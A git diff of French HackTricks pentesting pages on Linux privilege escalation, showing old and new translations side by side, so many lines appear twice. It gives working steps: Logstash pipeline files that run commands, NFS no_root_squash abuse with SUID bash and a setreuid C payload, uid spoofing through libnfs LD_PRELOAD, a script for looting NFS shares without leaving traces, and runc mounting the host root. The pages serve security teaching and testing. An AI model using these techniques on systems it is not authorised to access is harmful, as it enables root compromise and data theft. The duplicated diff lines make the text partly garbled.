Avant d'essayer d'élever vos propres privilèges, vous devriez vérifier quel utilisateur exécute le service logstash, car ce sera l'utilisateur que vous posséderez par la suite. Par défaut, le service logstash s'exécute avec les privilèges de l'utilisateur **logstash**.
|
||||
|
||||
Vérifiez si vous avez **l'un** des droits requis :
|
||||
|
||||
* Vous avez des **permissions d'écriture** sur un fichier **.conf** de pipeline **ou**
|
||||
* Vous avez des **droits d'écriture** sur un fichier de pipeline **.conf** **ou**
|
||||
* **/etc/logstash/pipelines.yml** contient un caractère générique et vous êtes autorisé à écrire dans le dossier spécifié
|
||||
|
||||
De plus, **l'une** des exigences suivantes doit être remplie :
|
||||
De plus, **l'une** des conditions suivantes doit être remplie :
|
||||
|
||||
* Vous êtes en mesure de redémarrer le service logstash **ou**
|
||||
* Vous êtes capable de redémarrer le service logstash **ou**
|
||||
* **/etc/logstash/logstash.yml** contient l'entrée **config.reload.automatic: true**
|
||||
|
||||
Si un caractère générique est spécifié, essayez de créer un fichier correspondant à ce caractère générique. Le contenu suivant peut être écrit dans le fichier pour exécuter des commandes :
|
||||
```bash
|
||||
input {
|
||||
exec {
|
||||
command => "whoami"
|
||||
interval => 120
|
||||
}
|
||||
exec {
|
||||
command => "whoami"
|
||||
interval => 120
|
||||
}
|
||||
}
|
||||
|
||||
output {
|
||||
file {
|
||||
path => "/tmp/output.log"
|
||||
codec => rubydebug
|
||||
}
|
||||
file {
|
||||
path => "/tmp/output.log"
|
||||
codec => rubydebug
|
||||
}
|
||||
}
|
||||
```
|
||||
L'**intervalle** spécifie le temps en secondes. Dans cet exemple, la commande **whoami** est exécutée toutes les 120 secondes. La sortie de la commande est enregistrée dans **/tmp/output.log**.
|
||||
L'**interval** spécifie le temps en secondes. Dans cet exemple, la commande **whoami** est exécutée toutes les 120 secondes. La sortie de la commande est enregistrée dans **/tmp/output.log**.
|
||||
|
||||
Si **/etc/logstash/logstash.yml** contient l'entrée **config.reload.automatic: true**, vous n'avez qu'à attendre que la commande soit exécutée, car Logstash reconnaîtra automatiquement les nouveaux fichiers de configuration de pipeline ou toute modification des configurations de pipeline existantes. Sinon, déclenchez un redémarrage du service logstash.
|
||||
Si **/etc/logstash/logstash.yml** contient l'entrée **config.reload.automatic: true**, vous n'avez qu'à attendre que la commande soit exécutée, car Logstash reconnaîtra automatiquement les nouveaux fichiers de configuration de pipeline ou tout changement dans les configurations de pipeline existantes. Sinon, déclenchez un redémarrage du service logstash.
|
||||
|
||||
Si aucun joker n'est utilisé, vous pouvez appliquer ces modifications à une configuration de pipeline existante. **Assurez-vous de ne rien casser !**
|
||||
Si aucun joker n'est utilisé, vous pouvez appliquer ces changements à une configuration de pipeline existante. **Assurez-vous de ne rien casser !**
|
||||
|
||||
# Références
|
||||
|
||||
|
@ -78,16 +76,14 @@ Si aucun joker n'est utilisé, vous pouvez appliquer ces modifications à une co
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au repo [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,33 +1,31 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Lisez le fichier _ **/etc/exports** _, si vous trouvez un répertoire configuré comme **no\_root\_squash**, alors vous pouvez **y accéder** depuis **un client** et **écrire à l'intérieur** de ce répertoire **comme** si vous étiez le **root** local de la machine.
|
||||
Lisez le fichier _ **/etc/exports** _, si vous trouvez un répertoire configuré comme **no\_root\_squash**, alors vous pouvez **y accéder** **en tant que client** et **écrire à l'intérieur** de ce répertoire **comme** si vous étiez le **root** local de la machine.
|
||||
|
||||
**no\_root\_squash**: Cette option donne essentiellement l'autorité à l'utilisateur root sur le client pour accéder aux fichiers sur le serveur NFS en tant que root. Et cela peut entraîner de graves implications en matière de sécurité.
|
||||
**no\_root\_squash** : Cette option donne essentiellement l'autorité à l'utilisateur root sur le client pour accéder aux fichiers sur le serveur NFS en tant que root. Et cela peut entraîner de graves implications de sécurité.
|
||||
|
||||
**no\_all\_squash:** C'est similaire à l'option **no\_root\_squash** mais s'applique aux **utilisateurs non root**. Imaginez, vous avez un shell en tant qu'utilisateur nobody ; vérifiez le fichier /etc/exports ; l'option no\_all\_squash est présente ; vérifiez le fichier /etc/passwd ; émulez un utilisateur non root ; créez un fichier suid en tant que cet utilisateur (en montant en utilisant nfs). Exécutez le suid en tant qu'utilisateur nobody et devenez un utilisateur différent.
|
||||
**no\_all\_squash** : Cette option est similaire à **no\_root\_squash** mais s'applique aux **utilisateurs non root**. Imaginez que vous ayez un shell en tant qu'utilisateur nobody ; vous avez vérifié le fichier /etc/exports ; l'option no\_all\_squash est présente ; vérifiez le fichier /etc/passwd ; émulez un utilisateur non root ; créez un fichier suid en tant que cet utilisateur (en montant via nfs). Exécutez le suid en tant qu'utilisateur nobody et devenez un utilisateur différent.
|
||||
|
||||
# Élévation de privilèges
|
||||
# Élévation de Privilèges
|
||||
|
||||
## Exploitation à distance
|
||||
## Exploit à Distance
|
||||
|
||||
Si vous avez trouvé cette vulnérabilité, vous pouvez l'exploiter :
|
||||
|
||||
* **Monter ce répertoire** sur une machine cliente, et **copier en tant que root** à l'intérieur du dossier monté le binaire **/bin/bash** et lui donner des droits **SUID**, et **exécuter depuis la machine victime** ce binaire bash.
|
||||
* **Montez ce répertoire** sur une machine cliente, et **en tant que root copiez** à l'intérieur du dossier monté le binaire **/bin/bash** et donnez-lui des droits **SUID**, et **exécutez depuis la machine victime** ce binaire bash.
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
mkdir /tmp/pe
|
||||
|
@ -40,7 +38,7 @@ chmod +s bash
|
|||
cd <SHAREDD_FOLDER>
|
||||
./bash -p #ROOT shell
|
||||
```
|
||||
* **Monter ce répertoire** sur une machine cliente, et **en tant que root copier** à l'intérieur du dossier monté notre charge utile compilée qui exploitera la permission SUID, lui donnera des droits SUID, et **exécutera depuis la machine victime** ce binaire (vous pouvez trouver ici quelques [charges utiles C SUID](payloads-to-execute.md#c)).
|
||||
* **Montage de ce répertoire** sur une machine cliente, et **en tant que root copie** à l'intérieur du dossier monté notre payload compilé qui abusera de la permission SUID, lui donner **des droits SUID**, et **exécuter depuis la machine victime** ce binaire (vous pouvez trouver ici quelques [payloads C SUID](payloads-to-execute.md#c)).
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
gcc payload.c -o payload
|
||||
|
@ -54,34 +52,34 @@ chmod +s payload
|
|||
cd <SHAREDD_FOLDER>
|
||||
./payload #ROOT shell
|
||||
```
|
||||
## Exploitation locale
|
||||
## Exploit Local
|
||||
|
||||
{% hint style="info" %}
|
||||
Notez que si vous pouvez créer un **tunnel de votre machine à la machine victime, vous pouvez toujours utiliser la version à distance pour exploiter cette élévation de privilèges en tunnelisant les ports requis**.\
|
||||
Le tour suivant est dans le cas où le fichier `/etc/exports` **indique une adresse IP**. Dans ce cas, vous ne pourrez **en aucun cas utiliser l'exploit à distance** et vous devrez **abuser de cette astuce**.\
|
||||
Une autre exigence requise pour que l'exploit fonctionne est que **l'exportation à l'intérieur de `/etc/export` doit utiliser le drapeau `insecure`**.\
|
||||
Notez que si vous pouvez créer un **tunnel de votre machine à la machine victime, vous pouvez toujours utiliser la version Remote pour exploiter cette élévation de privilèges en tunnelisant les ports requis**.\
|
||||
L'astuce suivante est dans le cas où le fichier `/etc/exports` **indique une adresse IP**. Dans ce cas, vous **ne pourrez pas utiliser** dans tous les cas l'**exploit à distance** et vous devrez **abuser de cette astuce**.\
|
||||
Une autre condition requise pour que l'exploit fonctionne est que **l'exportation dans `/etc/export`** **doit utiliser le drapeau `insecure`**.\
|
||||
\--_Je ne suis pas sûr que si `/etc/export` indique une adresse IP, cette astuce fonctionnera_--
|
||||
{% endhint %}
|
||||
|
||||
**Astuce copiée de** [**https://www.errno.fr/nfs\_privesc.html**](https://www.errno.fr/nfs\_privesc.html)
|
||||
|
||||
Maintenant, supposons que le serveur de partage exécute toujours `no_root_squash`, mais qu'il y a quelque chose qui nous empêche de monter la partage sur notre machine de test de pénétration. Cela se produirait si le fichier `/etc/exports` a une liste explicite d'adresses IP autorisées à monter la partage.
|
||||
Maintenant, supposons que le serveur de partage exécute toujours `no_root_squash` mais qu'il y a quelque chose qui nous empêche de monter le partage sur notre machine de pentesting. Cela se produirait si le `/etc/exports` a une liste explicite d'adresses IP autorisées à monter le partage.
|
||||
|
||||
La liste des partages montre maintenant que seule la machine sur laquelle nous essayons de faire une élévation de privilèges est autorisée à le monter :
|
||||
L'affichage des partages montre maintenant que seule la machine sur laquelle nous essayons de privesc est autorisée à le monter :
|
||||
```
|
||||
[root@pentest]# showmount -e nfs-server
|
||||
Export list for nfs-server:
|
||||
/nfs_root machine
|
||||
```
|
||||
Cela signifie que nous sommes bloqués pour exploiter la part montée sur la machine localement à partir d'un utilisateur non privilégié. Mais il se trouve qu'il existe une autre faille locale moins connue.
|
||||
Cela signifie que nous sommes coincés à exploiter le partage monté sur la machine localement à partir d'un utilisateur non privilégié. Mais il se trouve qu'il existe un autre exploit local moins connu.
|
||||
|
||||
Cette faille repose sur un problème dans la spécification NFSv3 qui stipule que c'est au client d'annoncer son uid/gid lorsqu'il accède à la part. Ainsi, il est possible de falsifier l'uid/gid en forgeant les appels RPC NFS si la part est déjà montée !
|
||||
Cet exploit repose sur un problème dans la spécification NFSv3 qui stipule que c'est au client d'annoncer son uid/gid lors de l'accès au partage. Ainsi, il est possible de falsifier l'uid/gid en forgeant les appels RPC NFS si le partage est déjà monté !
|
||||
|
||||
Voici une [bibliothèque qui vous permet de le faire](https://github.com/sahlberg/libnfs).
|
||||
Voici une [bibliothèque qui vous permet de faire exactement cela](https://github.com/sahlberg/libnfs).
|
||||
|
||||
### Compilation de l'exemple <a href="#compiling-the-example" id="compiling-the-example"></a>
|
||||
### Compiler l'exemple <a href="#compiling-the-example" id="compiling-the-example"></a>
|
||||
|
||||
En fonction de votre noyau, vous devrez peut-être adapter l'exemple. Dans mon cas, j'ai dû commenter les appels système fallocate.
|
||||
Selon votre noyau, vous pourriez avoir besoin d'adapter l'exemple. Dans mon cas, j'ai dû commenter les appels système fallocate.
|
||||
```bash
|
||||
./bootstrap
|
||||
./configure
|
||||
|
@ -90,40 +88,40 @@ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib
|
|||
```
|
||||
### Exploitation en utilisant la bibliothèque <a href="#exploiting-using-the-library" id="exploiting-using-the-library"></a>
|
||||
|
||||
Utilisons la plus simple des exploitations :
|
||||
Utilisons l'exploit le plus simple :
|
||||
```bash
|
||||
cat pwn.c
|
||||
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
|
||||
gcc pwn.c -o a.out
|
||||
```
|
||||
Placez notre exploit sur le partage et rendez-le suid root en falsifiant notre uid dans les appels RPC :
|
||||
Placez notre exploit sur le partage et rendez-le suid root en simulant notre uid dans les appels RPC :
|
||||
```
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
|
||||
```
|
||||
Tout ce qu'il reste à faire est de le lancer:
|
||||
Tout ce qu'il reste à faire est de le lancer :
|
||||
```
|
||||
[w3user@machine libnfs]$ /mnt/share/a.out
|
||||
[root@machine libnfs]#
|
||||
```
|
||||
Nous y sommes, l'élévation de privilèges root locale !
|
||||
Nous y voilà, élévation de privilèges en tant que root local !
|
||||
|
||||
## Bonus NFShell <a href="#bonus-nfshell" id="bonus-nfshell"></a>
|
||||
|
||||
Une fois en root local sur la machine, j'ai voulu piller la partage NFS pour trouver des secrets qui me permettraient de pivoter. Mais il y avait de nombreux utilisateurs du partage, chacun avec son propre UID que je ne pouvais pas lire malgré le fait d'être en root en raison de la non-correspondance des UID. Je ne voulais pas laisser de traces évidentes telles qu'un chown -R, alors j'ai écrit un petit extrait de code pour définir mon UID avant d'exécuter la commande shell souhaitée :
|
||||
Une fois root local sur la machine, je voulais fouiller le partage NFS à la recherche de secrets potentiels qui me permettraient de pivoter. Mais il y avait de nombreux utilisateurs du partage, chacun avec son propre uid que je ne pouvais pas lire malgré le fait d'être root à cause du décalage des uid. Je ne voulais pas laisser de traces évidentes telles qu'un chown -R, alors j'ai écrit un petit extrait de code pour définir mon uid avant d'exécuter la commande shell souhaitée :
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
import sys
|
||||
import os
|
||||
|
||||
def get_file_uid(filepath):
|
||||
try:
|
||||
uid = os.stat(filepath).st_uid
|
||||
except OSError as e:
|
||||
return get_file_uid(os.path.dirname(filepath))
|
||||
return uid
|
||||
try:
|
||||
uid = os.stat(filepath).st_uid
|
||||
except OSError as e:
|
||||
return get_file_uid(os.path.dirname(filepath))
|
||||
return uid
|
||||
|
||||
filepath = sys.argv[-1]
|
||||
uid = get_file_uid(filepath)
|
||||
|
@ -144,16 +142,14 @@ drwxr-x--- 2 1008 1009 1024 Apr 5 2017 install
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,6 +1,22 @@
|
|||
# Élévation de privilèges avec RunC
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Informations de base
|
||||
|
||||
Si vous voulez en savoir plus sur **runc**, consultez la page suivante :
|
||||
Si vous souhaitez en savoir plus sur **runc**, consultez la page suivante :
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %}
|
||||
[2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md)
|
||||
|
@ -8,21 +24,21 @@ Si vous voulez en savoir plus sur **runc**, consultez la page suivante :
|
|||
|
||||
## PE
|
||||
|
||||
Si vous constatez que `runc` est installé sur l'hôte, vous pourriez être en mesure de **lancer un conteneur en montant le dossier racine / de l'hôte**.
|
||||
Si vous découvrez que `runc` est installé sur l'hôte, vous pourriez être capable de **lancer un conteneur en montant le dossier racine / de l'hôte**.
|
||||
```bash
|
||||
runc -help #Get help and see if runc is intalled
|
||||
runc spec #This will create the config.json file in your current folder
|
||||
|
||||
Inside the "mounts" section of the create config.json add the following lines:
|
||||
{
|
||||
"type": "bind",
|
||||
"source": "/",
|
||||
"destination": "/",
|
||||
"options": [
|
||||
"rbind",
|
||||
"rw",
|
||||
"rprivate"
|
||||
]
|
||||
"type": "bind",
|
||||
"source": "/",
|
||||
"destination": "/",
|
||||
"options": [
|
||||
"rbind",
|
||||
"rw",
|
||||
"rprivate"
|
||||
]
|
||||
},
|
||||
|
||||
#Once you have modified the config.json file, create the folder rootfs in the same directory
|
||||
|
@ -33,21 +49,19 @@ mkdir rootfs
|
|||
runc run demo
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Cela ne fonctionnera pas toujours car l'opération par défaut de runc est de s'exécuter en tant que root, donc l'exécuter en tant qu'utilisateur non privilégié ne peut tout simplement pas fonctionner (à moins que vous n'ayez une configuration sans racine). Rendre une configuration sans racine par défaut n'est généralement pas une bonne idée car il y a plusieurs restrictions à l'intérieur des conteneurs sans racine qui ne s'appliquent pas à l'extérieur des conteneurs sans racine.
|
||||
Cela ne fonctionnera pas toujours car l'opération par défaut de runc est de s'exécuter en tant que root, donc l'exécuter en tant qu'utilisateur non privilégié ne peut tout simplement pas fonctionner (à moins que vous n'ayez une configuration sans root). Rendre une configuration sans root par défaut n'est généralement pas une bonne idée car il y a pas mal de restrictions à l'intérieur des conteneurs sans root qui ne s'appliquent pas en dehors des conteneurs sans root.
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,8 +1,23 @@
|
|||
# SELinux dans les conteneurs
|
||||
<details>
|
||||
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) est un **système d'étiquetage**. Chaque **processus** et chaque **objet de système de fichiers** a une **étiquette**. Les politiques SELinux définissent des règles sur ce qu'une **étiquette de processus est autorisée à faire avec toutes les autres étiquettes** du système.
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Les moteurs de conteneurs lancent des **processus de conteneurs avec une seule étiquette SELinux confinée**, généralement `container_t`, puis définissent le conteneur à l'intérieur du conteneur pour être étiqueté `container_file_t`. Les règles de la politique SELinux disent essentiellement que les **processus `container_t` ne peuvent lire/écrire/exécuter que des fichiers étiquetés `container_file_t`**. Si un processus de conteneur s'échappe du conteneur et tente d'écrire sur le contenu de l'hôte, le noyau Linux refuse l'accès et permet uniquement au processus de conteneur d'écrire sur le contenu étiqueté `container_file_t`.
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
